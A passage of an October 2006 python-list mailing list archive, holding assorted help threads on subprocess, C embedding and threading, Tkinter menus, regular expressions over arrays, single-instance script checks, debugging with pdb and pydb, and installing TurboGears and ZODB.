>      for emp in lineIn:
>          cin=cin+1
>      print cin

What happens if you open it in ascii mode rather than binary mode?

-tkc






From dhable at gmail.com  Fri Oct 27 15:35:44 2006
From: dhable at gmail.com (dhable at gmail.com)
Date: 27 Oct 2006 12:35:44 -0700
Subject: Optional Parameter Requirements
Message-ID: <1161977744.737937.56400@i42g2000cwa.googlegroups.com>

If I'm building a function to accept optional parameters, do I need to
allow for the capture of both the positional arguments as well as the
keyword arguments? If it doesn't make sense to allow keyword arguments,
can I just write:

def myfunc(a, b, *tup):
  ...

and be done with it?

TIA



From Leo.Kislov at gmail.com  Fri Oct 27 02:25:49 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 26 Oct 2006 23:25:49 -0700
Subject: subprocess cwd keyword.
References: <mailman.1299.1161902084.11739.python-list@python.org>
Message-ID: <1161930349.386592.191090@h48g2000cwc.googlegroups.com>


Ivan Vinogradov wrote:
> Dear All,
>
> I would greatly appreciate a nudge in the right direction concerning
> the use of cwd argument in the call function from subprocess module.
>
> The setup is as follows:
>
> driver.py		<- python script
> core/  			<- directory
> 	main		<- fortran executable in the core directory
>
>
> driver script generates some input files in the core directory. Main
> should do its thing and dump the output files back into core.
> The problem is, I can't figure out how to do this properly.
>
> call("core/main") works but uses .. of core for input/output.
>
> call("core/main",cwd="core") and call("main",cwd="core") both result in
[snip exception]

Usually current directory is not in the PATH on UNIX. Try
call("./main",cwd="core") 

  -- Leo



From johnjsal at NOSPAMgmail.com  Wed Oct 25 14:42:03 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 18:42:03 GMT
Subject: cleaner way to write this?
In-Reply-To: <7xwt6o44um.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
Message-ID: <%dO%g.151$1n3.4135@news.tufts.edu>

Paul Rubin wrote:
> John Salerno <johnjsal at NOSPAMgmail.com> writes:
>> I just need some advice for how to structure
>> the check of the empty string.
> 
> How about
> 
>     return db_name or None
> 
> since the empty string taken as a boolean is False.

But if the user doesn't enter any text, I don't want the method to 
return at all (even None). I need an error dialog to pop up and tell him 
to enter a value (or press Cancel).


From lbolognini at gmail.com  Fri Oct 13 12:53:55 2006
From: lbolognini at gmail.com (lbolognini at gmail.com)
Date: 13 Oct 2006 09:53:55 -0700
Subject: Where can I find good python code?
In-Reply-To: <mailman.458.1160755720.11739.python-list@python.org>
References: <mailman.458.1160755720.11739.python-list@python.org>
Message-ID: <1160758435.429095.149380@m7g2000cwm.googlegroups.com>

js  wrote:
> Hi,
>
> I've learned basics of Python and want to go to the next step.
> So I'm looking for good python examples
> I steal good techniques from.
> Any recommendations?

The cookbook, dead-tree version reccomended, otherwise try here:
http://aspn.activestate.com/ASPN/Cookbook/Python/

Lorenzo



From belred at gmail.com  Wed Oct 18 17:19:07 2006
From: belred at gmail.com (Bryan)
Date: Wed, 18 Oct 2006 14:19:07 -0700
Subject: callback cashing python
Message-ID: <eh65oa$v2g$1@sea.gmane.org>

hi,

i have a multithreaded c server that calls process_method in a different 
c thread per each call.  process_method calls a python function bar in 
module foo.  function bar calls back into c.  i've removed all the type 
error handling and simplified the code to hopefully show a minimum 
amount of code.  when only one request is hitting the server at a time 
this works correctly even at fast speeds.  but as soon as a second 
request is made concurrently, the python24.dll will crash and 
session.callback() in the python code never returns.  i've tried 
wrapping the callback code in PyGILState_Ensure(), PyEval_SaveThread() 
without success.

does anyone know what i have to do to the c callback to prevent python 
from crashing?

thanks,

bryan


static void process_method(session *session)
{
     PyObject      *py_obj_session = NULL;
     PyObject      *py_mod_foo     = NULL;
     PyObject      *py_call_bar    = NULL;
     PyThreadState *py_interp      = NULL;

     py_interp = get_py_interpreter(session);
     PyEval_AcquireLock();
     PyThreadState_Swap(py_interp);
     py_obj_session = get_py_session(session);

     py_mod_foo = PyImport_ImportModule("foo");
     py_call_bar = PyObject_GetAttrString(py_mod_foo, "bar");
     PyObject_CallFunctionObjArgs(py_call_bar, py_obj_session, NULL);

     Py_XDECREF(py_call_bar);
     Py_XDECREF(py_mod_foo);
     Py_XDECREF(py_obj_session);

     PyThreadState_Swap(NULL);
     PyEval_ReleaseLock();
}


# module bar

def bar(session):
     session.callback()



/* session.callback() /*
static PyObject* callback(PyObject *self, PyObject *args)
{
     Py_INCREF(Py_None);
     return Py_None;
}



From luweewu at email.com  Thu Oct 12 15:06:55 2006
From: luweewu at email.com (Rob)
Date: Thu, 12 Oct 2006 19:06:55 GMT
Subject: IDLE won't run
Message-ID: <Xns985A7B3E3BE3ECloverdale123@199.185.223.78>

I have Python 2.4.3 installed on Windows XP on both a real computer and a 
virtual machine under VMware. Just recently, IDLE stopped working. I would 
select IDLE from the start menu or right click on a .PY file and open it in 
IDLE, but nothing happens. I just uninstalled Python on the virtual machine 
and installed 2.5 in the hope that that would fix the problem, but it 
didn't. It, too, would do nothing when I tried to run IDLE. In both cases, 
the Python command line window will come up, but that's not what I want to 
use.

Does anyone know of a way to fix this problem? Is there a new Windows 
update that is now interfering with IDLE? Would Norton Antivirus be 
interfering with it somehow? (It's running in both environments.)


From fredrik at pythonware.com  Thu Oct 26 05:55:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 11:55:29 +0200
Subject: Cards deck problem
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com><7xbqnz4dqu.fsf@ruckus.brouhaha.com>
	<1161856121.066956.227720@k70g2000cwa.googlegroups.com>
Message-ID: <ehq0mh$maj$1@sea.gmane.org>

Arun Nair wrote:

> Hey paul i dont know how to implement this stuff if you have any ebook
> or any notes which can halp me then i would like to try it and
> implement my and refer back to you for any errors comming out of it

http://wiki.python.org/moin/BeginnersGuide

</F> 





From fredrik at pythonware.com  Sun Oct 29 06:38:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 12:38:10 +0100
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
Message-ID: <ei23r3$k1s$1@sea.gmane.org>

Snor wrote:


> Is the only solution to use a threaded server to let my clients make
> their requests and receive a response in the fastest possible time?

since the problem is that you need to wait for database anyway, maybe 
you could use one or more threads to deal with the database, and keep 
using events to talk to the clients?

</F>



From apardon at forel.vub.ac.be  Fri Oct 13 04:03:10 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 13 Oct 2006 08:03:10 GMT
Subject: pygtk dynamic table
References: <1160639416.482416.6110@i42g2000cwa.googlegroups.com>
Message-ID: <slrneiui1u.43c.apardon@rcpc42.vub.ac.be>

On 2006-10-12, JyotiC <jyoti.chhabra at gmail.com> wrote:
> hi,
>
> i am making a gui, which looks like excel sheets.
> i want to give the user the facility of adding rows/columns at the run
> time.
> there is some initial size, but that can be increased any time during
> the executation of the code.
>
> what i have tried, is that i am using table.
> so when ever user increase the size, i destroy the original table and
> make a new one with the increased size.
>
> is there a better way to do this ?

What about the resize method?

http://www.pygtk.org//docs/pygtk/class-gtktable.html#method-gtktable--resize

-- 
Antoon Pardon


From istvan.albert at gmail.com  Tue Oct  3 16:42:46 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 3 Oct 2006 13:42:46 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <1159908166.587313.57370@i3g2000cwc.googlegroups.com>

Giovanni Bajo wrote:

> Does this smell "Bitkeeper fiasco" to anyone else than me?

well, no company will spend money/effort/resources unless it benefits
them some way. Once that benefit (or the perception of it) disappears
the company will cut the lifeline. It's just common business sense.

But this will definitely not happen over a short period of time and
even in the worst case scenario there will be a few years in which the
development can take place in an awesome environment. I've looked at
the JIRA demo, and wow, it really seems like an amazingly cool way to
do software development.

So what if in three years (again worst case scenario) they need to
change trackers? It is not such a big deal and the benefits over these
two years might have balanced out the troubles of switching.

I.



From hanumizzle at gmail.com  Wed Oct 11 03:02:28 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 03:02:28 -0400
Subject: Converting MSWord Docs to PDF
In-Reply-To: <4524431F@webmail.azwestern.edu>
References: <4524431F@webmail.azwestern.edu>
Message-ID: <463ff4860610110002q3987cabbva206eaef971065f1@mail.gmail.com>

On 10/11/06, melv at awc.edu <mj23 at toro.azwestern.edu> wrote:

> >An alternative to Adobe Distiller (part of Acrobat) is PDFCreator
>
>
> yeah, i am actually just barely testing it out and so far it has
> given me very good results, thanks for the tip.

See also: http://www.pytex.org

(La)TeX is the king of document processing, and does PDF.

-- Theerasak


From diffuser78 at gmail.com  Thu Oct  5 16:25:22 2006
From: diffuser78 at gmail.com (diffuser78 at gmail.com)
Date: 5 Oct 2006 13:25:22 -0700
Subject: Graph Theory
In-Reply-To: <1160079341.752297.139110@h48g2000cwc.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<1160079341.752297.139110@h48g2000cwc.googlegroups.com>
Message-ID: <1160079922.925712.55850@i42g2000cwa.googlegroups.com>

Thanks for your quick reply. Since I have not read the documentation, I
was wondering if you can generate random graph and analyze some
peroperties of it like clustering coefficient or graph density. I am a
graph theory student and want to use python for development. Somebody
told me that Python has already so much bultin. Are there any
visualization tool which would depict the random graph generated by the
libraries.

Thanks for any kind of input.


bearophileHUGS at lycos.com wrote:
> diffuser78 at gmail.com:
> > Is there any library in Python which has implementation of graph
> > theoretic algorithms and models ?
>
> There are many of them, like:
> https://networkx.lanl.gov/
> Mine:
> http://sourceforge.net/projects/pynetwork/
> ...and some other.
> 
> Bye,
> bearophile



From sjmachin at lexicon.net  Wed Oct  4 18:51:22 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 15:51:22 -0700
Subject: PEP 358 and operations on bytes
In-Reply-To: <mailman.1286.1159990018.10491.python-list@python.org>
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>
	<7xejtojdys.fsf@ruckus.brouhaha.com>
	<1159976793.484514.277050@h48g2000cwc.googlegroups.com>
	<mailman.1286.1159990018.10491.python-list@python.org>
Message-ID: <1160002282.075683.210110@m73g2000cwd.googlegroups.com>


Fredrik Lundh wrote:
> John Machin wrote:
>
> > But not on other integer subtypes. If regexps should not be restricted
> > to text, they should work on domains whose number of symbols is greater
> > than 256, shouldn't they?
>
> they do:
>
> import re, array
>
> data = [0, 1, 1, 2]
>
> array_type = "IH"[re.sre_compile.MAXCODE == 0xffff]
>
> a = array.array(array_type, data)
>
> m = re.search(r"\x01+", a)
>
> if m:
>      print m.span()
>      print m.group()

Very minor nit: re.sre_compile doesn't exist before Python 2.5.
Presumably sys.maxunicode can substitute for re.sre_compile.MAXCODE.

That aside, I'd like to nominate myself as UGPOTM (utterly gobsmacked
poster of the month). Not only does that work, but so does this, all
the way back to 2.1 at least:

import re, array
data = [0, 1, 1, 2, 257, 257, 258]
# array_type = "IH"[re.sre_compile.MAXCODE == 0xffff] # Python 2.5
array_type = "H"
a = array.array(array_type, data)
for q in (r"\x01+", ur"\u0101+"):
    m = re.search(q, a)
    if m:
         print m.span()
         print m.group()

produces:

(1, 3)
array('H', [1, 1])
(4, 6)
array('H', [257, 257])

Now, scurrying back towards Gerrit's original point: this feature  is
not documented, even for array.array('B', ...). Should it be left as a
happy accident of duck-typing, accessible only to those who stumble
over it, or should it be supported? Should it be included in Python 3?

Cheers,
John



From hpsekhon at googlemail.com  Mon Oct  2 06:18:30 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 11:18:30 +0100
Subject: Making sure script only runs once instance at a time.
In-Reply-To: <4520E5E1.3040409@googlemail.com>
References: <mailman.801.1159372327.10491.python-list@python.org>	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>	<mailman.936.1159535264.10491.python-list@python.org>	<7xk63mpzwr.fsf@ruckus.brouhaha.com>	<451D25A3.7010803@googlemail.com>
	<efjbhh$d9m$1@sea.gmane.org> <4520E5E1.3040409@googlemail.com>
Message-ID: <4520E776.4080908@googlemail.com>

AMENDMENT:

The line

number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc 
-l' % scriptpath)

was supposed to be

number_procs=int(commands.getstatusoutput('ps -ef|grep %s|grep -v 
grep|wc -l' % scriptpath)[1])

-h

Hari Sekhon



Hari Sekhon wrote:
> Fredrik Lundh wrote:
>> Hari Sekhon wrote:
>>
>>   
>>> I'm not sure if that is a very old way of doing it, which is why I was 
>>> reluctant to do it. My way actually uses the process list of the os 
>>> (linux) and counts the number of instances. If it is more than 0 then 
>>> another process is running and the script exits gracefully.
>>>     
>>
>> the code that reliably identifies instances of a given program would be 
>> interesting to see.
>>
>>   
>>> Also, apart from the fact the using lockfiles feels a bit 1970s, I have
>>>     
>>  > found that in real usage of other programs within the company that use
>>  > lockfiles, it sometimes causes a bit of troubleshooting time when
>>  > it stops working due to a stale lockfile.
>>
>> to minimize that risk, store the pid in the lockfile (and preferrably 
>> also the host name), and make sure that the program checks that the pid 
>> is still active before it "stops working".
>>
>> </F>
>>
>>   
>
> How exactly do you check that the pid is still active in python? Is 
> there a library or something that will allow me to manipulate system 
> processes and listings etc the way everybody does in unix shells....
>
> I'm a huge fan of shell so I've done my own thing which leans on shell 
> as follows:
>
> import sys,commands,os
>
> scriptpath = sys.argv[0]
> scriptname = os.path.basename(scriptpath)
>
> number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc 
> -l' % scriptpath)
>
> if number_procs > 1:
>     print "There appears to be another %s process running." % scriptname
>     print "Please do not run more than one instance of this program"
>     print "Quitting for safety..."
>     sys.exit(200)
>
> This works nicely for me.
>
> You might also want to add a bit of discrimination to the script 
> (something along the lines of "get a decent os"...since this won't 
> work on windows)
>
> import platform
> if platform.system() != 'Linux':
>     print "Sorry but this program can only be run on Linux"
>     sys.exit(201)
>     #todo: should do a bit extra for our bsd cousins here....
>
>
> Let me know if you think you have a better way. Please provide a code 
> snippet if so.
>
> -h
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From bignose+hates-spam at benfinney.id.au  Tue Oct 31 20:55:29 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 01 Nov 2006 12:55:29 +1100
Subject: best way to check if a file exists?
References: <EQO1h.213$1n3.4609@news.tufts.edu>
	<1162342589.986315.254450@e64g2000cwd.googlegroups.com>
Message-ID: <87ejso53se.fsf@benfinney.id.au>

georgeryoung at gmail.com writes:

> On Oct 31, 4:01 pm, John Salerno <johnj... at NOSPAMgmail.com> wrote:
> > What is the best way to check if a file already exists in the
> > current directory? I saw os.path.isfile(), but I'm not sure if
> > that does more than what I need.

I see that 'os.path.exists' has already been pointed out in a later
post.

> You could be more "pythonic", and simply try to create the file,
> catching the exception if if fails.  This works on linux:
>
> try:
>    newfd = os.open('foobar', os.O_EXCL | os.O_CREAT)
>    new_file = os.fdopen(newdf)
> except OSError, x:
>    if x[1] == 'File exists':
>       handle_file_exists()

Are you sure that both of 'os.open' *and* 'os.fdopen' will only ever
raise OSError if the file already exists, and not for any other OS
errors?

-- 
 \        "We have to go forth and crush every world view that doesn't |
  `\             believe in tolerance and free speech."  -- David Brin |
_o__)                                                                  |
Ben Finney



From rocky at panix.com  Sat Oct 21 11:43:27 2006
From: rocky at panix.com (R. Bernstein)
Date: 21 Oct 2006 11:43:27 -0400
Subject: Debugging
References: <mailman.894.1161423816.11739.python-list@python.org>
Message-ID: <wihmz7psmhs.fsf@panix3.panix.com>

Fulvio <fulvio at tm.net.my> writes:

> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> Hello,
> 
> I'm trying out a small utility and my method uses PDB for debugging. I tried 
> to read some information regarding the commands of PDB but are rather 
> synthetic. 

I'm not sure what this means. If you are doing something like an IDE,
that is calling debugger routines from inside a program, then appears
that most of them use bdb, which is not documented but based on the
number times other programs have used it, it doesn't seem to be all
that insurmountable either.

(I have in mind one day to merge in all of the extensions that
everyone has seemed to add in all of those IDEs, along with the
extensions I've added for pydb, and make that a separate package and
add documentation for all of this.)

pdb does not support options, but pydb (http://bashdb.sf.net/pydb)
does. In pdb, if what you wanted to do was run a debugger script, the
way you could do it is to put the commands in .pdbrc. For pydb the
default file read is .pydbrc, but you can turn that *off* with -nx and
you can specify another file of your own using --command=*filename*.

In pydb, instead of listing commands in a file, it's also possible to
give them on a command line like this

pydb --exec='step 2;;where;;quit' python-script python-script-opt1

(Inside both pdb or pydb, ';;' separates commands)

> Mostly I'd like to understand the use of  "condition" command in 
> terms to use breakpoints (BP) with functions.

pydb (and to some extent pdb) follow the gdb command concepts. pydb
has more extensive documentation
(http://bashdb.sourceforge.net/pydb/pydb/lib/index.html) but if this
isn't enough I think the corresponding sections from gdb might be of help.

> Simple the first doubt was a counted BP. What variable using that BP and which 
> function can be taken from the command line?

In pydb as with gdb, the first breakpoint has number 1, the next
breakpoint 2. When breakpoints are deleted, the numbers don't get
reused. 

(I think all of this is the case also with pdb, but someone might
check on this; it's possible breakpoints in pdb start from 0 instead
of 1 as is the  case in gdb/pydb.)


From DustanGroups at gmail.com  Thu Oct  5 06:28:35 2006
From: DustanGroups at gmail.com (Dustan)
Date: 5 Oct 2006 03:28:35 -0700
Subject: Long Tkinter Menu
In-Reply-To: <op.tgxu8bzzrqur0o@eb.pragmadev>
References: <1160008434.662011.99300@m73g2000cwd.googlegroups.com>
	<op.tgxu8bzzrqur0o@eb.pragmadev>
Message-ID: <1160044114.982182.235510@k70g2000cwa.googlegroups.com>


Eric Brunel wrote:
> On Thu, 05 Oct 2006 02:33:54 +0200, Dustan <DustanGroups at gmail.com> wrote:
>
> > I don't know if this is because of Tkinter (ie Tk) itself or the
> > Windows default way of handling things, but when I create a very long
> > menu (my test is shown below), the way it displays is rather sucky; the
> > menu stretches from the top of the moniter's window to the bottom (no
> > matter the size of the actual application).
> >
> > Is there any alternative format for how a long menu gets displayed? It
> > would be nice if say, I could make the menu only go to the borders of
> > the application itself (in this case, not that long).
>
> To limit the menu in the application window, will be difficult. But here
> are two ways of automatically limiting the number of entries that can
> appear in a menu by specializing the Tkinter Menu class:
>
> ------------------------------------------------------
>  from Tkinter import *
>
> class LongMenu(Menu):
>    """
>    Automatically creates a cascade entry labelled 'More...' when the
>    number of entries is above MAX_ENTRIES.
>    """
>
>    MAX_ENTRIES = 20
>
>    def __init__(self, *args, **options):
>      Menu.__init__(self, *args, **options)
>      self.nextMenu = None
>
>    def add(self, itemType, cnf={}, **kw):
>      if self.nextMenu is not None:
>        return self.nextMenu.add(itemType, cnf, **kw)
>      nbEntries = self.index(END)
>      if nbEntries < LongMenu.MAX_ENTRIES:
>        return Menu.add(self, itemType, cnf, **kw)
>      self.nextMenu = LongMenu(self)
>      Menu.add(self, 'cascade', label='More...', menu=self.nextMenu)
>      return self.nextMenu.add(itemType, cnf, **kw)
>
>
> class AutoBreakMenu(Menu):
>    """
>    Automatically adds the 'columnbreak' option on menu entries to make
>    sure that the menu won't get too high.
>    """
>
>    MAX_ENTRIES = 20
>
>    def add(self, itemType, cnf={}, **kw):
>      entryIndex =  1 + (self.index(END) or 0)
>      if entryIndex % AutoBreakMenu.MAX_ENTRIES == 0:
>        cnf.update(kw)
>        cnf['columnbreak'] = 1
>        kw = {}
>      return Menu.add(self, itemType, cnf, **kw)
>
>
>
> if __name__ == '__main__':
>    root = Tk()
>
>    menubar = Menu(root)
>
>    def fillMenu(menu):
>      for i in xrange(100):
>        menu.add_command(label=str(i), command=root.quit)
>      menu.add_command(label="Exit", command=root.quit)
>
>    menu1 = LongMenu(menubar, tearoff=0)
>    fillMenu(menu1)
>    menu2 = AutoBreakMenu(menubar, tearoff=0)
>    fillMenu(menu2)
>
>    menubar.add_cascade(label="Test1", menu=menu1)
>    menubar.add_cascade(label="Test2", menu=menu2)
>
>    root.config(menu=menubar)
>
>    root.mainloop()
> ------------------------------------------------------
>
> If your application is more complicated than that (e.g if you insert menu
> entries after the first adds), you'll have to change the code above a bit,
> since it doesn't handle calls to insert at all. But you get the idea.
>
> HTH
> --
> python -c "print ''.join([chr(154 - ord(c)) for c in
> 'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"

Thanks, I'll see what I can do with that.



From bignose+hates-spam at benfinney.id.au  Sat Oct 14 04:04:20 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 14 Oct 2006 18:04:20 +1000
Subject: Attribute error
References: <1160803974.234768.286150@k70g2000cwa.googlegroups.com>
Message-ID: <87k6332uij.fsf@benfinney.id.au>

"Teja" <tejovathi.p at gmail.com> writes:

> What is attribute error?

    exception AttributeError
    Raised when an attribute reference or assignment fails.

    <URL:http://docs.python.org/lib/module-exceptions.html#l2h-103>

> To be precise :

Not precise enough, unfortunately. Please construct a minimal,
complete example that demonstrates the behaviour (and does nothing
except what's needed to demonstrate the behaviour), and post its code
along with a traceback output.

-- 
 \           "He who allows oppression, shares the crime."  -- Erasmus |
  `\                             Darwin, grandfather of Charles Darwin |
_o__)                                                                  |
Ben Finney



From sjmachin at lexicon.net  Mon Oct  2 21:41:10 2006
From: sjmachin at lexicon.net (John Machin)
Date: 2 Oct 2006 18:41:10 -0700
Subject: Need help with an array problem.
In-Reply-To: <1159837482.121713.219710@i3g2000cwc.googlegroups.com>
References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
	<1159826923.911685.30120@m73g2000cwd.googlegroups.com>
	<1159828738.510075.153600@i42g2000cwa.googlegroups.com>
	<mailman.1126.1159829356.10491.python-list@python.org>
	<1159837482.121713.219710@i3g2000cwc.googlegroups.com>
Message-ID: <1159839670.240986.303670@m73g2000cwd.googlegroups.com>


SpreadTooThin wrote:
> Robert Kern wrote:
> > jakobsg at gmail.com wrote:
> > > To your question on casting long to short. This is how:
> > > a=1234L     # long
> > > b=int(a)       # int (short)
> >
> > No, a Python int is a C long. A Python long is an arbitrary-precision number and
> > does not correspond to any C type.
> >
> > --
>
> So there is no short(number) casting?
>

It depends on what you think you mean by "short(number) casting". I
thought I'd answered your original question -- if
    short = long & 0xffff
doesn't do what you want to do, please give examples of what "long"
means to you, and what you expect the result of "short(number) casting"
each example to be.



From exhuma at gmail.com  Thu Oct 19 11:50:20 2006
From: exhuma at gmail.com (exhuma.twn)
Date: 19 Oct 2006 08:50:20 -0700
Subject: What happened to RuleDispatch
In-Reply-To: <1161271957.618070.167220@m73g2000cwd.googlegroups.com>
References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com>
	<1161204102.346021.154750@f16g2000cwb.googlegroups.com>
	<1161265458.878033.121690@m7g2000cwm.googlegroups.com>
	<1161265603.275979.51220@e3g2000cwe.googlegroups.com>
	<1161271957.618070.167220@m73g2000cwd.googlegroups.com>
Message-ID: <1161273020.097356.226550@e3g2000cwe.googlegroups.com>



On Oct 19, 5:32 pm, "Adam Jones" <ajon... at gmail.com> wrote:
> exhuma.twn wrote:
> > On Oct 19, 3:44 pm, "exhuma.twn" <exh... at gmail.com> wrote:
> > > On Oct 18, 10:41 pm, "Adam Jones" <ajon... at gmail.com> wrote:
>
> > > > exhuma.twn wrote:
> > > > > Hi all,
>
> > > > > yesterday I wanted to install TurboGears, which depends on
> > > > >RuleDispatch. However, I failed to download it. First I got the error
> > > > > "Bad Gateway" from the server, today it's simply a "Not Found" error.
> > > > > So what happened to it? Does somebody know?
>
> > > > > I would really need to install TurboGears in the next couple of days.
> > > > > So if someone knows where I can find a mirror ofRuleDispatchI would
> > > > > be very grateful.The required files for TG are mirrored on the turbogears.org download
> > > > page. You should be able to get an installation by looking up the files
> > > > there. Try this command:
>
> > > > easy_install -fhttp://www.turbogears.org/download/index.html
> > > > TurboGears
>
> > > > That is actually the recommended way to install TurboGears, as it is
> > > > not always compatible with the latest version of the components.
>
> > > > -AdamHmmm... this is wat I get:
>
> > > Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg
> > > Processing dependencies for TurboGears
> > > Searching forRuleDispatch
> > > Readinghttp://www.turbogears.org/download/index.html
> > > Best match:RuleDispatch0.5a0.dev-r2115
> > > Downloadinghttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz
> > > error: Can't downloadhttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz:
> > > 502 Bad Gateway
>
> > > Could this be a local issue?
>
> > Forgot to say I also tried to download it via the web-browser. This
> > gave me the following error (generated by the proxy I have to use):
>
> > "Server response could not be decoded using encoding type returned by
> > server.
> > This is typically caused by a Web Site presenting a content encoding
> > header of one type, and then encoding the data differently."I just tried it for myself (with my workplace's proxy) and had no
> problems. You might want to check on the TurboGears mailing list (http://groups.google.com/group/turbogears) to see if someone there can
> help you figure out what is going on. Downloading the eggs at another
> location and installing locally is also an option.
> 
> -Adam

I'll do that. Thanks anyway.



From houdinihound at yahoo.com  Mon Oct 16 14:18:36 2006
From: houdinihound at yahoo.com (Jose C)
Date: 16 Oct 2006 11:18:36 -0700
Subject: Web Hosting
References: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>
Message-ID: <1161022716.487881.211910@e3g2000cwe.googlegroups.com>

> With web hosting, does the ISP you chose have to support the framework
> you work with as well?
>
> Im looking at making a site in Python, however, Im lost as to what ISPs
> actually support. Some ISPs say they support Python so does that mean
> if I wanted to use TurboGears It would just work anyway?
>

Check out http://webfaction.com...  They have a one-click TurboGears
installation procedure (as well as some other frameworks) but you can
also install your own custom frameworks if they don't support it
directly.

HTH,



From m.errami at gmail.com  Tue Oct 17 22:16:57 2006
From: m.errami at gmail.com (m.errami at gmail.com)
Date: 17 Oct 2006 19:16:57 -0700
Subject: Restart a Python COM Server
Message-ID: <1161137817.550348.157890@m73g2000cwd.googlegroups.com>

Hello all.
I am desperately in need for you help guys. Here is the story:
1- I have created a small simple COM serve with python (along the lines
read in Win32 Programming with python).
2- If I start the server and call a function from VBE everything works
fine
3- I then want to modify the function in the python COM server
4- I unregister the server and register it again hoping the changes
will take effect
5- I make call to the function from VBE but the it seems that VBE
doesn't reload/refresh the reference to the server.
So I do I get VBE to point to the last version of the server? If I
close VBE and reload it then it works. But I think there is probably a
smarter way. Please, tell me there is!
Few posts deal with the issue, but so far I couldn't find anything
about it...

Thanx all 
M.E



From wolfgang.keller.nospam at gmx.de  Mon Oct 23 09:08:24 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Mon, 23 Oct 2006 15:08:24 +0200
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<453352d4$0$12918$426a34cc@news.free.fr>
	<0001HW.C159B10900A0DF8AF0407530@news.individual.de>
	<8Z4Zg.6659$5i7.274@newsreading01.news.tds.net>
	<0001HW.C15AFA6600D738B5F0488530@news.individual.de>
	<UqiZg.15442$UG4.14288@newsread2.news.pas.earthlink.net>
	<1161163215.654709.249960@i3g2000cwc.googlegroups.com>
	<O5tZg.8762$Lv3.3649@newsread1.news.pas.earthlink.net>
	<1161253739.960413.267960@b28g2000cwb.googlegroups.com>
Message-ID: <0001HW.C1628B6800B800A8F0284530@news.individual.de>

> and perhaps a fairly elementary datagrid widget is what is being sought. 

*snip*

> I'm sure other people can provide links to resources for other toolkits
> and frameworks.

Err, slight misunderstanding. I am _not_ searching for a toolkit or framework 
for database applications.

What I am searching for is a _book_ (or other learning material) about how to 
implement database applications. See subject.

I want to learn this because I want to be able to

- understand the existing frameworks and be able to choos ethe one that suits 
my needs best
- be able to fix bugs
- be able to implement missing things myself
- be able to do things "from scratch" if nothing else helps.

I mentioned Delphi just as an example for a language that I am able to read 
easily.

TIA,

Sincerely,

Wolfgang Keller

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From duncan.booth at invalid.invalid  Wed Oct  4 05:39:42 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 4 Oct 2006 09:39:42 GMT
Subject: python html rendering
References: <mailman.1200.1159912518.10491.python-list@python.org>
	<1159952608.259941.100650@c28g2000cwb.googlegroups.com>
Message-ID: <Xns98526C1B3C899duncanbooth@127.0.0.1>

"GHUM" <haraldarminmassa at gmail.com> wrote:

>> Hi, Im looking for a way to display some python code
>> in html: with correct indentation, possibly syntax hiliting, dealing
>> correctly with multi-line comment,
> 
><tongue - in - cheek - mode>
> the usual way is to create your own web-framework
></tongue - in - cheek - mode>

Or you could use an existing web framework: Plone has the ability to 
colour python code built-in.

> If it is just "some" Python code and you have to do it "once", just
> look at scite. Scite can colour your code, and you can export it as
> HTML.

and if you need it more than once you can always find one of the existing 
chunks of colouring code and modify/reuse it. See Plone's 
PortalTransforms/transforms/python.py, or the MoinMoin code it was cribbed 
from.

https://svn.plone.org/svn/archetypes/PortalTransforms/trunk/transforms/python.py




From andrew-news at andros.org.uk  Fri Oct 20 14:18:46 2006
From: andrew-news at andros.org.uk (Andrew McLean)
Date: Fri, 20 Oct 2006 19:18:46 +0100
Subject: ZODB and Python 2.5
Message-ID: <ehb3ub$a5m$1$8300dec7@news.demon.co.uk>

I'm going to have to delay upgrading to Python 2.5 until all the 
libraries I use support it. One key library for me is ZODB. I've Googled 
  and can't find any information on the developers' plans. Does anyone 
have any information that might help?

- Andrew


From joncle at googlemail.com  Fri Oct 20 15:44:58 2006
From: joncle at googlemail.com (Jon Clements)
Date: 20 Oct 2006 12:44:58 -0700
